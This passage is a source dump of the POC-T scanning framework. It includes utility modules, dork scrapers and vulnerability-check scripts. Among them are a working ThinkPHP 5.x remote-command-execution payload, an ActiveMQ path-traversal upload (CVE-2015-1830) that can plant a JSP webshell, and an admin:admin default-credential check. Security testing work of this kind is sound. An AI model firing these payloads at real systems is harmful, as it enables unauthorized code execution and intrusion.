version=VERSION, 81 | help="show program's version number and exit") 82 | system.add_argument('-h', '--help', action='help', 83 | help='show this help message and exit') 84 | system.add_argument('--update', dest="sys_update", default=False, action='store_true', 85 | help='update POC-T from github source') 86 | 87 | if len(sys.argv) == 1: 88 | sys.argv.append('-h') 89 | args = parser.parse_args() 90 | return args 91 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /lib/utils/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import ConfigParser 7 | from lib.core.data import paths, logger 8 | from lib.core.common import getSafeExString 9 | 10 | 11 | class ConfigFileParser: 12 | @staticmethod 13 | def _get_option(section, option): 14 | try: 15 | cf = ConfigParser.ConfigParser() 16 | cf.read(paths.CONFIG_PATH) 17 | return cf.get(section=section, option=option) 18 | except ConfigParser.NoOptionError, e: 19 | logger.warning('Missing essential options, please check your config-file.') 20 | logger.error(getSafeExString(e)) 21 | return '' 22 | 23 | def ZoomEyeEmail(self): 24 | return self._get_option('zoomeye', 'email') 25 | 26 | def ZoomEyePassword(self): 27 | return self._get_option('zoomeye', 'password') 28 | 29 | def ShodanApikey(self): 30 | return self._get_option('shodan', 'api_key') 31 | 32 | def BingApikey(self): 33 | return self._get_option('bing', 'api_key') 34 | 35 | def CloudEyeApikey(self): 36 | return self._get_option('cloudeye', 'api_key') 37 | 38 | def ColudEyePersonaldomain(self): 39 | return self._get_option('cloudeye', 'personal_domain') 40 | 41 | def GoogleProxy(self): 42 | return self._get_option('google', 'proxy') 43 | 44 | def GoogleDeveloperKey(self): 45 | return self._get_option('google', 'developer_key') 46 | 47 | def GoogleEngine(self): 48 | return self._get_option('google', 'search_engine') 49 | 50 | def FofaEmail(self): 51 | return self._get_option('fofa','email') 52 | 53 | def FofaKey(self): 54 | return self._get_option('fofa','api_key') 55 | -------------------------------------------------------------------------------- /lib/utils/console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | getTerminalSize() 8 | - get width and height of console 9 | - works on linux,os x,windows,cygwin(windows) 10 | """ 11 | 12 | import os 13 | 14 | __all__ = ['getTerminalSize'] 15 | 16 | 17 | def getTerminalSize(): 18 | import platform 19 | current_os = platform.system() 20 | tuple_xy = None 21 | if current_os == 'Windows': 22 | tuple_xy = _getTerminalSize_windows() 23 | if tuple_xy is None: 24 | tuple_xy = _getTerminalSize_tput() 25 | # needed for window's python in cygwin's xterm! 26 | if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): 27 | tuple_xy = _getTerminalSize_linux() 28 | if tuple_xy is None: 29 | print "default" 30 | tuple_xy = (80, 25) # default value 31 | return tuple_xy 32 | 33 | 34 | def _getTerminalSize_windows(): 35 | res = None 36 | try: 37 | from ctypes import windll, create_string_buffer 38 | 39 | # stdin handle is -10 40 | # stdout handle is -11 41 | # stderr handle is -12 42 | 43 | h = windll.kernel32.GetStdHandle(-12) 44 | csbi = create_string_buffer(22) 45 | res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) 46 | except Exception: 47 | return None 48 | if res: 49 | import struct 50 | (bufx, bufy, curx, cury, wattr, 51 | left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) 52 | sizex = right - left + 1 53 | sizey = bottom - top + 1 54 | return sizex, sizey 55 | else: 56 | return None 57 | 58 | 59 | def _getTerminalSize_tput(): 60 | # get terminal width 61 | # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window 62 | try: 63 | import subprocess 64 | proc = subprocess.Popen(["tput", "cols"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 65 | output = proc.communicate(input=None) 66 | cols = int(output[0]) 67 | proc = subprocess.Popen(["tput", "lines"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) 68 | output = proc.communicate(input=None) 69 | rows = int(output[0]) 70 | return (cols, rows) 71 | except Exception: 72 | return None 73 | 74 | 75 | def _getTerminalSize_linux(): 76 | def ioctl_GWINSZ(fd): 77 | try: 78 | import fcntl, termios, struct 79 | cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234')) 80 | except Exception: 81 | return None 82 | return cr 83 | 84 | cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) 85 | if not cr: 86 | try: 87 | fd = os.open(os.ctermid(), os.O_RDONLY) 88 | cr = ioctl_GWINSZ(fd) 89 | os.close(fd) 90 | except Exception: 91 | pass 92 | if not cr: 93 | try: 94 | cr = (env.get('LINES'), env.get('COLUMNS')) 95 | except Exception: 96 | return None 97 | return int(cr[1]), int(cr[0]) 98 | 99 | 100 | if __name__ == "__main__": 101 | sizex, sizey = getTerminalSize() 102 | print 'width =', sizex, 'height =', sizey 103 | -------------------------------------------------------------------------------- /lib/utils/update.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import locale 7 | import os 8 | import re 9 | import sys 10 | from subprocess import PIPE 11 | from subprocess import Popen as execute 12 | from lib.core.common import getSafeExString 13 | from lib.core.common import pollProcess 14 | from lib.core.data import logger 15 | from lib.core.data import paths 16 | from lib.core.settings import GIT_REPOSITORY 17 | from lib.core.settings import IS_WIN 18 | from lib.core.revision import getRevisionNumber 19 | 20 | 21 | def update(): 22 | success = False 23 | if not os.path.exists(os.path.join(paths.ROOT_PATH, ".git")): 24 | errMsg = "not a git repository. Please checkout the 'Xyntax/POC-T' repository " 25 | errMsg += "from GitHub (e.g. 'git clone https://github.com/Xyntax/POC-T.git POC-T')" 26 | logger.error(errMsg) 27 | else: 28 | infoMsg = "updating POC-T to the latest development version from the " 29 | infoMsg += "GitHub repository" 30 | logger.info(infoMsg) 31 | 32 | debugMsg = "POC-T will try to update itself using 'git' command" 33 | logger.info(debugMsg) 34 | 35 | logger.info("update in progress ") 36 | 37 | try: 38 | process = execute("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=PIPE, 39 | stderr=PIPE, cwd=paths.ROOT_PATH.encode( 40 | locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/ 41 | pollProcess(process, True) 42 | stdout, stderr = process.communicate() 43 | success = not process.returncode 44 | except (IOError, OSError), ex: 45 | success = False 46 | stderr = getSafeExString(ex) 47 | 48 | if success: 49 | _ = getRevisionNumber() 50 | logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _)) 51 | else: 52 | if "Not a git repository" in stderr: 53 | errMsg = "not a valid git repository. Please checkout the 'Xyntax/POC-T' repository " 54 | errMsg += "from GitHub (e.g. 'git clone https://github.com/Xyntax/POC-T.git POC-T')" 55 | logger.error(errMsg) 56 | else: 57 | logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) 58 | 59 | if not success: 60 | if IS_WIN: 61 | infoMsg = "for Windows platform it's recommended " 62 | infoMsg += "to use a GitHub for Windows client for updating " 63 | infoMsg += "purposes (http://windows.github.com/) or just " 64 | infoMsg += "download the latest snapshot from " 65 | infoMsg += "https://github.com/Xyntax/POC-T/archive/master.zip" 66 | else: 67 | infoMsg = "for Linux platform it's required " 68 | infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" 69 | 70 | logger.info(infoMsg) 71 | 72 | sys.exit(0) 73 | -------------------------------------------------------------------------------- /lib/utils/versioncheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Use as 'from lib.utils import versioncheck' 8 | It has to be the first non-standard import before your project enter main() function 9 | """ 10 | 11 | import sys 12 | 13 | PYVERSION = sys.version.split()[0] 14 | 15 | if PYVERSION >= "3" or PYVERSION < "2.7": 16 | exit("[CRITICAL] incompatible Python version detected ('%s'). " 17 | "For successfully running this project, you'll have to use version 2.7" 18 | "(visit 'http://www.python.org/download/')" % PYVERSION) 19 | -------------------------------------------------------------------------------- /plugin/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /plugin/cloudeye.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | 7 | """ 8 | CloudEye API 9 | 10 | Usage: 11 | c = CloudEye() 12 | a = c.getRandomDomain('cdxy') 13 | try: 14 | requests.get('http://' + a, timeout=1) 15 | except Exception: 16 | pass 17 | print c.verifyDNS(delay=0) 18 | print c.verifyHTTP(delay=0) 19 | print c.getDnsRecord(delay=0) 20 | print c.getHttpRecord(delay=0) 21 | """ 22 | 23 | import random 24 | import requests 25 | import time 26 | from string import ascii_lowercase 27 | from lib.utils.config import ConfigFileParser 28 | 29 | # load once for all thread 30 | key = ConfigFileParser().CloudEyeApikey() 31 | uniq_domain = ConfigFileParser().ColudEyePersonaldomain().split('.')[0] 32 | 33 | 34 | class CloudEye: 35 | def __init__(self): 36 | self.unique = uniq_domain 37 | self.random = ''.join([random.choice(ascii_lowercase) for _ in range(10)]) 38 | 39 | def getRandomDomain(self, custom='poc'): 40 | """ 41 | full domain = [random].[custom].[unique].dnslog.info 42 | e.g. fezarvgo.poc.ee8a6f.dnslog.info 43 | """ 44 | self.custom = custom 45 | return '%s.%s.%s.dnslog.info' % (self.random, self.custom, self.unique) 46 | 47 | def getDnsRecord(self, delay=2): 48 | time.sleep(delay) 49 | query = self.random + '.' + self.custom 50 | api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=query) 51 | return requests.post(api_base).content 52 | 53 | def getHttpRecord(self, delay=2): 54 | time.sleep(delay) 55 | query = self.random + '.' + self.custom 56 | api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=query) 57 | return requests.post(api_base).content 58 | 59 | def verifyDNS(self, delay=2): 60 | return 'dnslog.info' in self.getDnsRecord(delay) 61 | 62 | def verifyHTTP(self, delay=2): 63 | return 'dnslog.info' in self.getHttpRecord(delay) 64 | 65 | 66 | def queryDnsRecord(domain, delay=2): 67 | time.sleep(delay) 68 | domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.') 69 | api_base = 'http://cloudeye.me/api/{key}/{domain}/DNSLog/'.format(key=key, domain=domain) 70 | return requests.post(api_base).content 71 | 72 | 73 | def queryHttpRecord(domain, delay=2): 74 | time.sleep(delay) 75 | domain = domain.replace(uniq_domain + '.dnslog.info', '').rstrip('.') 76 | api_base = 'http://cloudeye.me/api/{key}/{domain}/ApacheLog/'.format(key=key, domain=domain) 77 | return requests.post(api_base).content 78 | -------------------------------------------------------------------------------- /plugin/extracts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | 7 | import re 8 | import requests 9 | 10 | 11 | def getIP(content, remove_duplicate=True, remove_private=False): 12 | """ 13 | Functions to extract IP from content string 14 | 15 | parameters: 16 | content 17 | remove_duplicate (default:true) 18 | remove_private (default:False) 19 | 20 | usage: 21 | from lib.util.extracts import * 22 | ip_list = getIP(content) 23 | 24 | private address: 25 | 10.0.0.0 - 10.255.255.255 26 | 172.16.0.0 - 172.31.255.255 27 | 192.168.0.0 - 192.168.255.255 28 | 127.0.0.0 - 127.255.255.255 29 | 30 | example: 31 | > print getIP('ffeac12.2.2.2asf^&10.10\n.1.1ffa2\n') 32 | ['12.2.2.2','10.10.1.1'] 33 | 34 | """ 35 | 36 | def _isPrivateIP(strict_IP): 37 | p1 = re.compile(r'^10\.|^172\.(?:1[6789]|2\d|31)\.|^192\.168\.|^127\.') 38 | return True if re.match(p1, strict_IP) else False 39 | 40 | content = content.replace('\n', ',') 41 | p = re.compile(r'(?:(?:2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(?:2[0-4]\d|25[0-5]|[01]?\d\d?)') 42 | _ = re.findall(p, content) 43 | ans = list(set(_)) if remove_duplicate else _ 44 | 45 | if remove_private: 46 | for each in ans: 47 | if _isPrivateIP(each): 48 | ans.remove(each) 49 | 50 | return ans 51 | 52 | 53 | def getTitle(input): 54 | """ 55 | Get title from html-content/ip/url 56 | 57 | :param input:html-content OR ip OR url 58 | :return text in 59 | :except return string:'NULL' 60 | """ 61 | try: 62 | if '<title>' in input: 63 | content = input 64 | else: 65 | url = 'http://' + input if '://' not in input else input 66 | content = requests.get(url,timeout=3).content 67 | return re.findall('<title>([\s\S]*)', content)[0].strip() 68 | except Exception: 69 | return '' 70 | -------------------------------------------------------------------------------- /plugin/urlparser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import urlparse 7 | 8 | 9 | def get_domain(url): 10 | """ 11 | added by cdxy May 8 Sun,2016 12 | 13 | Use: 14 | get_domain('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#') 15 | 16 | Return: 17 | 'http://cdxy.me:80' 18 | """ 19 | p = urlparse.urlparse(url) 20 | return urlparse.urlunsplit([p.scheme, p.netloc, '', '', '']) 21 | 22 | 23 | def iterate_path(ori_str): 24 | """ 25 | added by cdxy May 8 Sun,2016 26 | 27 | Use: 28 | iterate_path_to_list('http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#') 29 | 30 | Return: 31 | ['http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#', 32 | 'http://cdxy.me:80/' 33 | 'http://cdxy.me:80/cdsa', 34 | 'http://cdxy.me:80/cdsa/cda', 35 | 'http://cdxy.me:80/cdsa/cda/aaa.jsp'] 36 | 37 | """ 38 | parser = urlparse.urlparse(ori_str) 39 | _path_list = parser.path.replace('//', '/').strip('/').split('/') 40 | _ans_list = set() 41 | _ans_list.add(ori_str) 42 | 43 | if not _path_list[0]: 44 | return _ans_list 45 | 46 | _ans_list.add(get_domain(ori_str)) 47 | s = '' 48 | for each in _path_list: 49 | s += '/' + each 50 | _ans_list.add(urlparse.urljoin(ori_str, s)) 51 | return _ans_list 52 | 53 | 54 | if __name__ == '__main__': 55 | url = 'http://cdxy.me:80/cdsa/cda/aaa.jsp?id=2#' 56 | print urlparse.urlparse(url) 57 | print get_domain(url) 58 | for each in iterate_path(url): 59 | print each 60 | -------------------------------------------------------------------------------- /plugin/useragent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Functions to get user-agent string 8 | edit by cdxy [i@cdxy.me] 9 | May 9 Mon, 2016 10 | 11 | usage: 12 | from plugin.useragent import * 13 | str1 = get_random_agent() 14 | str2 = firefox() 15 | str3 = iphone() 16 | str4 = google_bot() 17 | ... 18 | 19 | tips: 20 | init_UAlist(),get_random_agent() 21 | these 2 methods should be called after [path-init-method] in lib.core.common 22 | """ 23 | 24 | import random 25 | from lib.core.data import conf, th, paths, logger 26 | from lib.core.common import getFileItems 27 | 28 | 29 | def _init_UAlist(path): 30 | infoMsg = "loading HTTP User-Agent header(s) from " 31 | infoMsg += "file '%s'" % path 32 | logger.info(infoMsg) 33 | 34 | # TODO 此处 conf.RANDOM_UA 在其他地方暂时没有用到 35 | conf.RANDOM_UA = True 36 | th.UA_LIST = getFileItems(path) 37 | 38 | successMsg = "Total: %d" % len(th.UA_LIST) 39 | logger.info(successMsg) 40 | 41 | 42 | def get_random_agent(path=paths.UA_LIST_PATH): 43 | if "UA_LIST" not in th: 44 | _init_UAlist(path) 45 | try: 46 | return random.sample(th.UA_LIST, 1)[0] 47 | except IOError, e: 48 | warnMsg = "unable to read HTTP User-Agent header " 49 | warnMsg += "file '%s'" % path 50 | logger.warning(warnMsg) 51 | return 52 | 53 | 54 | def firefox(): 55 | return 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0' 56 | 57 | 58 | def ie(): 59 | return 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)' 60 | 61 | 62 | def chrome(): 63 | return 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30' 64 | 65 | 66 | def opera(): 67 | return 'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50' 68 | 69 | 70 | def iphone(): 71 | return 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16' 72 | 73 | 74 | def google_bot(): 75 | return 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' 76 | 77 | 78 | def msn_bot(): 79 | return 'msnbot/1.1 (+http://search.msn.com/msnbot.htm)' 80 | 81 | 82 | def yahoo_bot(): 83 | return 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)' 84 | -------------------------------------------------------------------------------- /plugin/util.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | import random 7 | import hashlib 8 | import requests 9 | import socket 10 | import re 11 | from string import ascii_lowercase, digits 12 | from urlparse import urlparse 13 | 14 | 15 | def randomString(length=8): 16 | """ 17 | 生成随机字母串 18 | 19 | :param length:生成字符串长度 20 | :return 字母串 21 | """ 22 | return ''.join([random.choice(ascii_lowercase) for _ in range(length)]) 23 | 24 | 25 | def randomDigits(length=8): 26 | """ 27 | 生成随机数字串 28 | 29 | :param length:生成字符串长度 30 | :return 数字串 31 | """ 32 | return ''.join([random.choice(digits) for _ in range(length)]) 33 | 34 | 35 | def randomMD5(length=10, hex=True): 36 | """ 37 | 生成随机MD5键值对 38 | 39 | :param length:指定明文长度 40 | :param hex:指定密文长度为32位 41 | :returns 原文,密文(32位或16位) 42 | """ 43 | plain = randomDigits(length) 44 | m = hashlib.md5() 45 | m.update(plain) 46 | cipher = m.hexdigest() if hex else m.hexdigest()[8:-8] 47 | return [plain, cipher] 48 | 49 | 50 | def redirectURL(url, timeout=3): 51 | """ 52 | 获取跳转后的真实URL 53 | 54 | :param url:原始URL 55 | :param timeout:超时时间 56 | :return 跳转后的真实URL 57 | """ 58 | try: 59 | url = url if '://' in url else 'http://' + url 60 | r = requests.get(url, allow_redirects=False, timeout=timeout) 61 | return r.headers.get('location') if r.status_code == 302 else url 62 | except Exception: 63 | return url 64 | 65 | 66 | def host2IP(url): 67 | """ 68 | URL转IP 69 | 70 | :param url:原始URL 71 | :return IP:PORT 72 | :except 返回原始URL 73 | """ 74 | for offset in url: 75 | if offset.isalpha(): 76 | break 77 | else: 78 | return url 79 | try: 80 | url = url if '://' in url else 'http://' + url # to get netloc 81 | url = urlparse(url).netloc 82 | ans = [i for i in socket.getaddrinfo(url.split(':')[0], None)[0][4] if i != 0][0] 83 | if ':' in url: 84 | ans += ':' + url.split(':')[1] 85 | return ans 86 | except Exception: 87 | return url 88 | 89 | 90 | def IP2domain(base, timeout=3): 91 | """ 92 | IP转域名 93 | 94 | :param base:原始IP 95 | :param timeout:超时时间 96 | :return 域名 / False 97 | :except 返回False 98 | """ 99 | try: 100 | domains = set() 101 | ip = base.split(':')[0] if ':' in base else base 102 | q = "https://www.bing.com/search?q=ip%3A" + ip 103 | c = requests.get(url=q, 104 | headers={ 105 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0'}, 106 | timeout=timeout 107 | ).content 108 | p = re.compile(r'(.*?)') 109 | l = re.findall(p, c) 110 | for each in l: 111 | domain = each.split('://')[-1].split('/')[0] 112 | domains.add(domain) 113 | if len(domains) > 0: 114 | ans_1 = base + ' -> ' 115 | for each in domains: 116 | ans_1 += '|' + each 117 | return ans_1 118 | else: 119 | return False 120 | except Exception: 121 | return False 122 | 123 | 124 | def checkPortTcp(target, port, timeout=3): 125 | """ 126 | 检查端口是否开放 127 | 128 | :param target:目标IP 129 | :param port:目标端口 130 | :param timeout:超时时间 131 | :return True / False 132 | :except 返回False 133 | """ 134 | sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 135 | sk.settimeout(timeout) 136 | try: 137 | sk.connect((target, port)) 138 | return True 139 | except Exception: 140 | return False 141 | -------------------------------------------------------------------------------- /requirement.txt: -------------------------------------------------------------------------------- 1 | requests 2 | gevent 3 | shodan 4 | google-api-python-client -------------------------------------------------------------------------------- /script/360so-dork.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: zeroyu 3 | # @Date: 2018-12-17 22:15:01 4 | # @Last Modified by: zeroyu 5 | # @Last Modified time: 2018-12-22 17:03:30 6 | 7 | 8 | import pychrome 9 | import urlparse 10 | import threading 11 | from lib.core.data import paths,th,logger 12 | from lib.controller.engine import output2file 13 | 14 | # 环境配置: 15 | # 本地配置chrome的headless,执行如下命令: 16 | # headless mode (chrome version >= 59): 17 | # $ google-chrome --headless --disable-gpu --remote-debugging-port=9222 18 | 19 | # 或者直接使用docker 20 | # $ docker pull fate0/headless-chrome 21 | # $ docker run -it --rm --cap-add=SYS_ADMIN -p9222:9222 fate0/headless-chrome 22 | 23 | # PS:使用google-dork的时候打开ss就好 24 | 25 | # 使用说明: 26 | # 对目标使用google dork语法,程序会返回抓取的域名 27 | # python POC-T.py -iS "site:test.com" -s test.py 28 | # 默认对域名做了去重输出,根据需要可以修改script 29 | 30 | def subdomin_finder_by_360so(target): 31 | 32 | # create a browser instance 33 | browser = pychrome.Browser(url="http://127.0.0.1:9222") 34 | 35 | # create a tab 36 | tab = browser.new_tab() 37 | 38 | # start the tab 39 | tab.start() 40 | 41 | tab.Page.enable() 42 | 43 | # call method 44 | tab.Network.enable() 45 | tab.Runtime.enable() 46 | 47 | step=1 48 | 49 | subdomins=[] 50 | 51 | while(1): 52 | 53 | url="https://www.so.com/s?q={}".format(target) 54 | url=url+"&pn={}".format(step) 55 | # stepinfo="step:"+str(step) 56 | # logger.info(stepinfo) 57 | step=step+1 58 | 59 | 60 | try: 61 | # call method with timeout 62 | tab.Page.navigate(url=url, _timeout=5) 63 | tab.wait(5) 64 | 65 | exp='document.getElementsByClassName("res-title").length' 66 | length= tab.Runtime.evaluate(expression=exp) 67 | 68 | # 360so就看报不报错,报错了的话document.getElementsByClassName("res-title").length是为0的 69 | if length['result']['value']==0: 70 | break 71 | 72 | #从每一页上抓取url 73 | for l in range(0,length['result']['value']): 74 | # tab.wait(1) 75 | exp1='document.getElementsByClassName("res-title")[{}].getElementsByTagName("a")[0].href'.format(l) 76 | res1= tab.Runtime.evaluate(expression=exp1) 77 | logger.info(res1['result']['value']) 78 | subdomins.append(res1['result']['value']) 79 | except: 80 | pass 81 | 82 | tab.stop() 83 | browser.close_tab(tab) 84 | return subdomins 85 | 86 | def poc(target): 87 | subdomins=subdomin_finder_by_360so(target) 88 | tmp=[] 89 | for sub in subdomins: 90 | url=urlparse.urlparse(sub) 91 | tmp.append(url.scheme+"://"+url.netloc) 92 | # 去重 93 | subdomins=list(set(tmp)) 94 | if subdomins: 95 | for s in subdomins: 96 | s="=>"+s 97 | output2file(s.replace("=>","")) 98 | logger.success(s) 99 | return True 100 | return False -------------------------------------------------------------------------------- /script/ThinkPHP_verify.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | 3 | """ 4 | ThinkPHP 简单指纹识别脚本 5 | 6 | 需要requests库支持 7 | 8 | by featherl 9 | """ 10 | 11 | from plugin.useragent import chrome 12 | import requests 13 | 14 | def format_url(url): 15 | """将url统一成 http(s)://domain/path/.../ 的格式""" 16 | url = url.strip() 17 | if not ( url.startswith('http://') or url.startswith('https://') ): 18 | url = 'http://' + url 19 | url = url.rstrip('/') + '/' 20 | 21 | return url 22 | 23 | def poc(url): 24 | try: 25 | target = format_url(url) + '?c=4e5e5d7364f443e28fbf0d3ae744a59a' 26 | r = requests.get(target, headers={'User-Agent': chrome() }) 27 | r.raise_for_status() 28 | 29 | if r.headers.get('Content-Type') == 'image/png': 30 | return True 31 | except: 32 | pass 33 | 34 | return False 35 | -------------------------------------------------------------------------------- /script/ThinkPHPv5x_command_injection.py: -------------------------------------------------------------------------------- 1 | #coding: utf-8 2 | 3 | """ 4 | ThinkPHP 5.x远程命令执行漏洞验证脚本 5 | 6 | 需要requests库支持 7 | 8 | by featherl 9 | """ 10 | 11 | from random import randint 12 | from plugin.useragent import chrome 13 | import requests 14 | 15 | 16 | def format_url(url): 17 | """将url统一成 http(s)://domain/path/.../ 的格式""" 18 | url = url.strip() 19 | if not ( url.startswith('http://') or url.startswith('https://') ): 20 | url = 'http://' + url 21 | url = url.rstrip('/') + '/' 22 | 23 | return url 24 | 25 | def poc(url): 26 | try: 27 | url = format(url) 28 | random_code = str(randint(0, 1000000)) # 生成一个随机的6位数字 29 | payload = '?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=' + random_code 30 | 31 | target = url + payload 32 | 33 | r = requests.get(target, headers={'User-Agent': chrome() }) 34 | r.raise_for_status() 35 | 36 | r.text.index(random_code) # 若返回包中没有随机6位数字,则抛出异常 37 | return True 38 | except: 39 | return False 40 | -------------------------------------------------------------------------------- /script/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me -------------------------------------------------------------------------------- /script/activemq-upload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | ActiveMQ file upload exploit 8 | [Path traversal leading to unauthenticated RCE in ActiveMQ (CVE-2015-1830)] 9 | 10 | admin:admin 11 | """ 12 | 13 | import requests 14 | import base64 15 | from plugin.util import randomString 16 | from plugin.static import JSP_UPLOAD 17 | 18 | ENABLE_EXP = False 19 | 20 | 21 | def poc(base): 22 | base = "http://" + base if '://' not in base else base 23 | name = randomString(5) 24 | uri = '{url}/admin/{name}.jsp'.format(url=base.rstrip('/'), name=name) 25 | target = r'{url}/fileserver/sex../../..\admin/{name}.jsp'.format(url=base.rstrip('/'), name=name) 26 | key = base64.b64encode("admin:admin") 27 | headers = {'Authorization': 'Basic %s}' % key, 'User-Agent': 'Mozilla/5.0 Gecko/20100101 Firefox/45.0'} 28 | put_data = JSP_UPLOAD if ENABLE_EXP else randomString(10) 29 | try: 30 | res1 = requests.put(target, headers=headers, data=put_data, timeout=10) 31 | res2 = requests.get(uri, headers=headers, timeout=10) 32 | if res1.status_code == 204 and res2.status_code == 200: 33 | if ENABLE_EXP: 34 | return uri 35 | return uri if put_data in res2.content else False 36 | except Exception: 37 | return False 38 | return False 39 | -------------------------------------------------------------------------------- /script/activemq-weakpass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Apache ActiveMQ weak password PoC 8 | 9 | admin:admin 10 | """ 11 | 12 | import requests 13 | import base64 14 | 15 | 16 | def poc(url): 17 | if '://' not in url: 18 | url = 'http://' + url 19 | url += '/admin/' 20 | key = base64.b64encode("admin:admin") 21 | headers = {'Authorization': 'Basic %s}' % key, 'User-Agent': 'Mozilla/5.0 Gecko/20100101 Firefox/45.0'} 22 | try: 23 | c = requests.get(url, headers=headers, timeout=10).content 24 | except Exception, e: 25 | return False 26 | if 'Console' in c: 27 | return url 28 | else: 29 | return False 30 | -------------------------------------------------------------------------------- /script/bing-dork.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # @Author: zeroyu 3 | # @Date: 2018-12-15 23:12:09 4 | # @Last Modified by: zeroyu 5 | # @Last Modified time: 2018-12-22 16:59:27 6 | 7 | import pychrome 8 | import urlparse 9 | import threading 10 | from lib.core.data import paths,th,logger 11 | from lib.controller.engine import output2file 12 | 13 | 14 | # 环境配置: 15 | # 本地配置chrome的headless,执行如下命令: 16 | # headless mode (chrome version >= 59): 17 | # $ google-chrome --headless --disable-gpu --remote-debugging-port=9222 18 | 19 | # 或者直接使用docker 20 | # $ docker pull fate0/headless-chrome 21 | # $ docker run -it --rm --cap-add=SYS_ADMIN -p9222:9222 fate0/headless-chrome 22 | 23 | # PS:使用google插件的时候打开ss就好 24 | 25 | 26 | # 使用说明: 27 | # 对目标使用google dork语法,程序会返回抓取的域名 28 | # 比如使用下面命令获取子域名 29 | # python POC-T.py -iS "site:test.com" -s test.py -eG 30 | 